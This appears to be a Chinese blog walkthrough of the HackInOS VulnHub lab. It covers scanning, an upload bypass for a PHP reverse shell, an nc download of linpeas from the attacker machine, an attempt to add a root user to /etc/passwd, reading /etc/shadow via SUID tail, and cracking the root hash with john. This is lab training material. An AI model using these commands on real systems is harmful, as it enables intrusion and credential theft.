实战打靶集锦-025-HackInOS

2024-02-22 11:20

本文主要是介绍实战打靶集锦-025-HackInOS,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • 1. 主机发现
  • 2. 端口扫描
  • 3. 服务枚举
  • 4. 服务探查
  • 5. 提权
    • 5.1 枚举系统信息
    • 5.2 探索一下passwd
    • 5.3 枚举可执行文件
    • 5.4 查看capabilities位
    • 5.5 目录探索
    • 5.6 枚举定时任务
    • 5.7 Linpeas提权


靶机地址:https://download.vulnhub.com/hackinos/HackInOS.ova

1. 主机发现

目前只知道目标靶机在192.168.232.xx网段,通过如下的命令,看看这个网段上在线的主机。

$ nmap -sP 192.168.232.0/24

在这里插入图片描述
锁定目标靶机IP为192.168.232.145。

2. 端口扫描

通过下面的命令进行端口扫描。

$ sudo nmap -p 1-65535 192.168.232.145

在这里插入图片描述
暴露的端口不多,看来只能先从8000端口下手了。

3. 服务枚举

通过下面的命令进行服务枚举。

$ sudo nmap -p22,8000 -A -sT -sV 192.168.232.145

在这里插入图片描述

4. 服务探查

先通过浏览器访问一下8000端口看一下。
在这里插入图片描述
貌似是一个基于WoePress的Blog站点,不过比较有意思的是,所有的超链接都指向了localhost,就算我在kali上将localhost指向了靶机,还是无法访问,但是手工在浏览器里面将localhost修改成靶机IP地址就可以访问。就算修改了/etc/hosts也不会生效,不过手工ping这个localhost是可以跳转到我们的靶机地址的。
在这里插入图片描述
先用wpscan扫描一下再说吧。

$ wpscan --url http://192.168.232.145:8000/

在这里插入图片描述
扫出了一点东西,但是感觉价值没有那么高,先看看对应的robots文件。
在这里插入图片描述
进去看看。
在这里插入图片描述
upload.php页面可以上传突破文件,不过uploads目录不允许访问,估计是做了限制,不过这里应该是显示上传的文件的列表,试了一下确实可以上传成功,不过这里看不到。枚举一下目录吧。

$ dirsearch -u http://192.168.232.145:8000/

在这里插入图片描述
没有太特殊的内容发现,再用dirb挂载big字典看看。

$ dirb http://192.168.232.145:8000/ /usr/share/wordlists/dirb/big.txt -X .php

在这里插入图片描述
跟之前的扫描没啥区别,唯一多出来的一个/wp-trackback.php,里面也没有什么特殊内容,如下图。
在这里插入图片描述
果断放弃了,还是看看apache和wordpress有没有可用的EXP吧,遗憾的是也没有找到合适的。
回顾前面的操作,貌似大概率可能突破边界的地方还是上传文件的地方,回过头去再看看。
在这里插入图片描述
这个页面实在是简单的不能再简单了,上传一个图片文件和php脚本分别看看有啥反应。
在这里插入图片描述
没有太多的规律性,现在的关键是找到上传的内容去了哪里,先看看Submit按钮的源代码吧。
在这里插入图片描述
也没啥特殊的,不过最后的注释行里面有个git上的项目,看看这里面是否有我们需要的内容。
在这里插入图片描述
尤其是第二个,感觉就是这个靶机的一个打靶线索啊,竟然有这种好事,简直是救命稻草,进去看看。
在这里插入图片描述
这不是打靶的线索,是对于这个靶机的描述,还是看看README.md和upload.php两个文件吧。
在这里插入图片描述
果真是文件上传的逻辑,大致是在元文件名后面添加1~100的随机数,然后再计算MD5作为新文件名,文件上传到/uploads/目录下;如果上传的是图片文件(mime类型为image/png或者image/gif),返回“file uploaded xxx”如果是其它文件,返回“😃”,看来我们之前显示的“😃”都是因为上传失败了。
知道了这个大致逻辑,我们就可以尝试枚举我们上传后的文件的文件名了。思路如下:
先构建一个带有反弹shell的php文件,文件头添加GIF8以绕过文件类型检查,如下图。
在这里插入图片描述
然后这个文件名后面添加1~100的数字并计算出MD5作为新的文件名,将这些文件名写到一个文件里面作为字典,然后用dirb进行爆破,应该是可以爆破出上传文件的文件名。
我们的php文件如上图所示,然后分别将对应的文件名加上1~100,即revers1、revers2、revers3、revers4 …,然后将文件名计算MD5后放到文本文件中作为字典(用python脚本生成)。
在这里插入图片描述
生成的字典如上图所示,用于生成字典的脚本如下图所示。
在这里插入图片描述
接下来我们开始上传带有反弹shell的php脚本revers.php。
在这里插入图片描述
根据代码中的逻辑,上图所示的信息显示时,代表上传成功了,然后我们用dirb挂上前面产生的字典枚举一下看看。

$ dirb http://192.168.232.145:8000/uploads/ my_dict.txt

在这里插入图片描述
好奇怪,我上传了N次,不应该枚举出来是空的。不知道是不是我本地的revers.php文件和python脚本、my_dict.txt字典不在同一个目录的原因,将revers.php文件拷贝到跟my_dict.txt同一个目录下再试一遍,顺利被枚举出来了,如下图。
在这里插入图片描述
接下来,在kali上的4444端口上建立监听,然后手工访问一下上面的文件试试看。
在这里插入图片描述
访问不成功,反弹shell也没有建立,前面枚举出来的两个文件都是这样的问题。再回过头来看看刚才枚举出来的文件还在不在。
在这里插入图片描述
空了,可能服务器后台有对上传的文件进行定时清理的机制,在我磨蹭的过程中被清理掉了。这次先建立好监听,然后快速上传,枚举出来以后直接访问一下。
在这里插入图片描述
嗯,这次建立反弹shell成功了,不过浏览器访问上传的文件的时候,还是提示not found。

5. 提权

先优化一下shell。

$ whereis python
$ /usr/bin/python3.5 -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述
这次看上去稍微正常一点了。

5.1 枚举系统信息

$ uname -a
$ cat /etc/*-release

在这里插入图片描述
是64位的Ubuntu 16.04.1。

5.2 探索一下passwd

$ cat /etc/passwd | grep -v nologin

在这里插入图片描述
从显示结果来看,除了root没有比较正常的用户可以通过shell登录。尝试写入一个用户。

$ openssl passwd test123

在这里插入图片描述

$ echo "testusr:$1$PR0EMvBa$Y6BsWQAQVRKB3ZfEnS1Ow0:0:0:root:/root:/bin/bash" >> /etc/passwd

在这里插入图片描述
没有权限。

5.3 枚举可执行文件

www-data@1afdd1f6b82c:/$ sudo -l

在这里插入图片描述
无法执行sudo。

www-data@1afdd1f6b82c:/home$ find / -user root -perm -4000 2>/dev/null

在这里插入图片描述
貌似没有可以用于提权的可执行文件。

5.4 查看capabilities位

www-data@1afdd1f6b82c:/home$ /usr/sbin/getcap -r / 2>/dev/null

在这里插入图片描述
没有合适的capabilities。

5.5 目录探索

先查看一下当前用户的家目录下都有些啥。

www-data@1afdd1f6b82c:/home$ cd ~/
www-data@1afdd1f6b82c:/home$ ls -lah

在这里插入图片描述
就是我们前面目录枚举是看到的内容,那个神奇的uploads目录也赫然在列,也没啥特殊的,还得用linpeas搞一下。

5.6 枚举定时任务

www-data@1afdd1f6b82c:/tmp$ cat /etc/crontab

在这里插入图片描述

5.7 Linpeas提权

在这里插入图片描述
嗯,靶机上竟然不能使用wget,看看有没有nc。
在这里插入图片描述
nc是可以的,通过nc上传linpeas.sh。
Kali主机:$ nc -lvnp 9999 < linpeas.sh
靶机上:$ nc 192.168.232.129 9999 > linpeas.sh
顺利传输成功。
在这里插入图片描述
运行一下。

www-data@1afdd1f6b82c:/home$ chmod u+x linpeas.sh
www-data@1afdd1f6b82c:/home$ sh linpeas.sh

可惜没看到有合适的提权提示,只有一个/usr/bin/tail(其实前面我们枚举可执行文件的时候就枚举出来了,不过不会用。。),如下图。
在这里插入图片描述
网上搜了半天,只找到了一篇文章,还不太会用。但是大致意思是通过具备SUID的命令可以临时获得对应文件的属主的权限?我们参照这篇文章(https://juggernaut-sec.com/suid-sgid-lpe/),用/etc/passwd文件试试看。
在这里插入图片描述
貌似没有我们想想的那么简单。不过按照上面的说法,我们是不是可以用tail想看啥文件就看啥文件?我们试试分别用cat和tail获取一下shadow文件的内容试试看。

www-data@1afdd1f6b82c:/tmp$ cat /etc/shadow
www-data@1afdd1f6b82c:/tmp$ /usr/bin/tail -c1G /etc/shadow

在这里插入图片描述
确实如上面的猜测,cat看不到shadow文件的内容,tail是可以的,并且在shadow中捞到了root用户的密码信息: 6 说明算法用的是 S H A − 512 ,中间的 6说明算法用的是SHA-512,中间的 6说明算法用的是SHA512,中间的qoj6/JJi是盐值,再往后才是密文。
手工看看能不能从中解析出真正的密码。

在这里插入图片描述
使用hash-identifier没有收获,再用john试试看。

$ echo '$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/' > root_pass.txt
$ john root_pass.txt

在这里插入图片描述
难道这个john就算是root的密码了?直接切换到root用户试试看吧。
在这里插入图片描述
还真是这样子,第一次从shadow文件中解析密码,又学了一招,获取一下flag。
在这里插入图片描述
提权成功。

这篇关于实战打靶集锦-025-HackInOS的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/735105

相关文章

Python列表去重的4种核心方法与实战指南详解

《Python列表去重的4种核心方法与实战指南详解》在Python开发中,处理列表数据时经常需要去除重复元素,本文将详细介绍4种最实用的列表去重方法,有需要的小伙伴可以根据自己的需要进行选择... 目录方法1:集合(set)去重法(最快速)方法2:顺序遍历法(保持顺序)方法3:副本删除法(原地修改)方法4:

在Spring Boot中浅尝内存泄漏的实战记录

《在SpringBoot中浅尝内存泄漏的实战记录》本文给大家分享在SpringBoot中浅尝内存泄漏的实战记录,结合实例代码给大家介绍的非常详细,感兴趣的朋友一起看看吧... 目录使用静态集合持有对象引用,阻止GC回收关键点:可执行代码:验证:1,运行程序(启动时添加JVM参数限制堆大小):2,访问 htt

Spring Security基于数据库的ABAC属性权限模型实战开发教程

《SpringSecurity基于数据库的ABAC属性权限模型实战开发教程》:本文主要介绍SpringSecurity基于数据库的ABAC属性权限模型实战开发教程,本文给大家介绍的非常详细,对大... 目录1. 前言2. 权限决策依据RBACABAC综合对比3. 数据库表结构说明4. 实战开始5. MyBA

Spring Boot + MyBatis Plus 高效开发实战从入门到进阶优化(推荐)

《SpringBoot+MyBatisPlus高效开发实战从入门到进阶优化(推荐)》本文将详细介绍SpringBoot+MyBatisPlus的完整开发流程,并深入剖析分页查询、批量操作、动... 目录Spring Boot + MyBATis Plus 高效开发实战:从入门到进阶优化1. MyBatis

MyBatis 动态 SQL 优化之标签的实战与技巧(常见用法)

《MyBatis动态SQL优化之标签的实战与技巧(常见用法)》本文通过详细的示例和实际应用场景,介绍了如何有效利用这些标签来优化MyBatis配置,提升开发效率,确保SQL的高效执行和安全性,感... 目录动态SQL详解一、动态SQL的核心概念1.1 什么是动态SQL?1.2 动态SQL的优点1.3 动态S

Pandas使用SQLite3实战

《Pandas使用SQLite3实战》本文主要介绍了Pandas使用SQLite3实战,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学... 目录1 环境准备2 从 SQLite3VlfrWQzgt 读取数据到 DataFrame基础用法:读

Python实战之屏幕录制功能的实现

《Python实战之屏幕录制功能的实现》屏幕录制,即屏幕捕获,是指将计算机屏幕上的活动记录下来,生成视频文件,本文主要为大家介绍了如何使用Python实现这一功能,希望对大家有所帮助... 目录屏幕录制原理图像捕获音频捕获编码压缩输出保存完整的屏幕录制工具高级功能实时预览增加水印多平台支持屏幕录制原理屏幕

最新Spring Security实战教程之Spring Security安全框架指南

《最新SpringSecurity实战教程之SpringSecurity安全框架指南》SpringSecurity是Spring生态系统中的核心组件,提供认证、授权和防护机制,以保护应用免受各种安... 目录前言什么是Spring Security?同类框架对比Spring Security典型应用场景传统

最新Spring Security实战教程之表单登录定制到处理逻辑的深度改造(最新推荐)

《最新SpringSecurity实战教程之表单登录定制到处理逻辑的深度改造(最新推荐)》本章节介绍了如何通过SpringSecurity实现从配置自定义登录页面、表单登录处理逻辑的配置,并简单模拟... 目录前言改造准备开始登录页改造自定义用户名密码登陆成功失败跳转问题自定义登出前后端分离适配方案结语前言

OpenManus本地部署实战亲测有效完全免费(最新推荐)

《OpenManus本地部署实战亲测有效完全免费(最新推荐)》文章介绍了如何在本地部署OpenManus大语言模型,包括环境搭建、LLM编程接口配置和测试步骤,本文给大家讲解的非常详细,感兴趣的朋友一... 目录1.概况2.环境搭建2.1安装miniconda或者anaconda2.2 LLM编程接口配置2